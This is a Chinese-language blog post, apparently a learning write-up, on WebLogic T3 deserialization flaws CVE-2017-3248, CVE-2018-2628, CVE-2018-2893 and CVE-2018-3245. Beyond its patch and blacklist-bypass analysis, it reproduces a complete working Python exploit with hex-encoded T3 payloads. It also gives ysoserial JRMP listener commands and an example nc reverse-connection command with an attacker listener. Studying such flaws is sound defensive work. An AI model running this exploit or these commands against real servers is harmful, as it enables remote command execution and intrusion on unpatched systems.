Weblogic:T3反序列化历史漏洞学习(二)

CVE-2017-3248

影响版本

影响版本:

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1

漏洞复现

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
# e.g. nc -nlvp 4040
# 3. run this script on attacker host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
# e.g.
# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')


def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')


if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()

dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

开启JRMP服务

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/CVE_2017_3248'

Wql8HO.png

利用上面的exp

1
python cve20173528.py 192.168.111.132 7001 ./ysoserial.jar 192.168.111.132 1099 JRMPClient

Wql1u6.png

成功创建文件

WqlK3R.png

漏洞分析

CVE-2017-3248利用了黑名单之外的反序列化类——java.rmi.registry.Registry

通过 JRMP 协议达到执行任意反序列化 payload。JRMP协议是RMI使用的协议,由于JRMP协议在传输过程中也会自动进行序列化和反序列化,所以我们可以先构造T3协议包让Weblogic请求我们的JRMP Client,从中获取恶意对象,然后再反序列化获取到的恶意对象来完成攻击

参考图

WqlMg1.png

利用过程:

  1. 构造T3协议包,让weblogic请求我们的JRMP
  2. 从我们搭建JRMP服务中获取恶意类进行反序列化

反序列化的过程:

  1. 利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,
  2. 使用UnicastRef和远端建立tcp连接,获取RMI registry,
  3. 最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行。

漏洞修复

修复方法就是黑名单过滤java.rmi.registry.Registry。不用说,又可以被绕过

WqlQjx.png

CVE-2018-2628

影响版本

版本

  • Oracle WebLogic Server10.3.6.0
  • Oracle WebLogic Server12.2.1.2
  • Oracle WebLogic Server12.2.1.3
  • Oracle WebLogic Server12.1.3.0

漏洞复现

使用工具:https://github.com/tdy218/ysoserial-cve-2018-2628

  1. 运行JRMP Client
  2. 用ysoserial-0.1-cve-2018-2628-all.jar生成payload(java.rmi.activation.Activator)
  3. 把生成的payload放到python脚本里,发送T3协议包

开启JRMP

1
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'touch /tmp/CVE_2018_2628'

WqlJED.png

生成payload,利用java.rmi.activation.Activator

1
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.111.132:1099 | xxd -p | tr -d $'\n' && echo

WqlYUe.png

把生成的payload复制到poc中的payload_str中

Wqla8A.png

执行

1
python2 wls-cve-2018-2628-poc.py 192.168.111.132 7001

Wqlt4H.png

成功创建文件

WqlUCd.png

漏洞分析

补丁在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class添加了resolveProxyClass,resolveProxyClass只对 RMI 接口类型进行判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

两种绕过黑名单方法:

  1. 替换接口:可用java.rmi.activation.Activator、java.rmi.activation、javax.management.remote.rmi.RMIConnection、sun.jvmstat.monitor.remote.RemoteVm等接口替换java.rmi.registry.Registry
  2. 直接用UnicastRef:用UnicastRef也能在反序列化的时候发起JRMP请求

看一下工具的源码,这里用的是第一种方法,替换java.rmi.activation.Activator。把下面的Proxy.newProxyInstance去掉然后return unicastRef就相当于第二种方法了

Wqlwvt.png

漏洞修复

直接过滤了UnicastRef

WqldgI.png

CVE-2018-2893

漏洞复现

还是使用工具:https://github.com/tdy218/ysoserial-cve-2018-2628

步骤基本一样

开启JRMP

1
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'touch /tmp/CVE_2018_2893'

生成payload

1
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.111.132:1099 | xxd -p | tr -d $'\n' && echo

复制payload到poc中的payload_str,然后执行

1
python2 wls-cve-2018-2628-poc.py 192.168.111.132 7001

创建成功

Wqlc5Q.png

漏洞分析

原理是用weblogic.jms.common.StreamMessageImpl封装java.rmi.registry.Registry,相当于CVE-2016-0638+CVE-2018-2628,没什么好说的,就是套娃一下

工具内部实现

WqlBKP.png

不过有一个问题,StreamMessageImpl不是之前就被过滤了吗?

由于没有补丁,只能参考文章中的分析:http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/#CVE-2018-2628

先回顾一下相关的过滤方法,FilteringObjectInputStream只拦截了普通类的反序列化,没有拦截代理类的反序列化,在CVE-2017-3248后ServerChannelInoutStream类中的resolveProxyClass过滤了Registry,但是这里的FilteringObjectInputStream并没有实现resolveProxyClass过滤代理类。

Wql3DK.png

文章中提到UnicastRef从始至终并没有作为一个类被反序列化,也就不需要绕过了
Wqlrb8.png
Wql6Ug.png

漏洞修复

WqlDDf.png

CVE-2018-3245

由于RemoteObjectInvocationHandler被过滤了,所以用RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,实际上就是找RemoteObject类的子类。

参考工具:https://github.com/pyn3rd/CVE-2018-3245

原理比较简单,不复现了

总结

思路不变,还是寻找在黑名单之外的类,主要利用JRMP。

  • CVE-2017-3248:反序列化java.rmi.registry.Registry,利用JRMP反序列化恶意类
  • CVE-2018-2628:绕过java.rmi.registry.Registry黑名单,用java.rmi.activation.Activator替换或者直接用UnicastRef
  • CVE-2018-2893:用weblogic.jms.common.StreamMessageImpl封装java.rmi.registry.Registry,等于CVE-2016-0638+CVE-2018-2628
  • CVE-2018-3245:绕过对RemoteObjectInvocationHandler的过滤,用子类RMIConnectionImpl_Stub替代,

参考

https://y4er.com/post/weblogic-jrmp/

https://www.cnblogs.com/afanti/p/10256840.html

https://zerokeeper.com/vul-analysis/weblogic-anti-serialization-vulnerability-analysis-cve20182628.html

https://www.cnblogs.com/afanti/p/10256840.html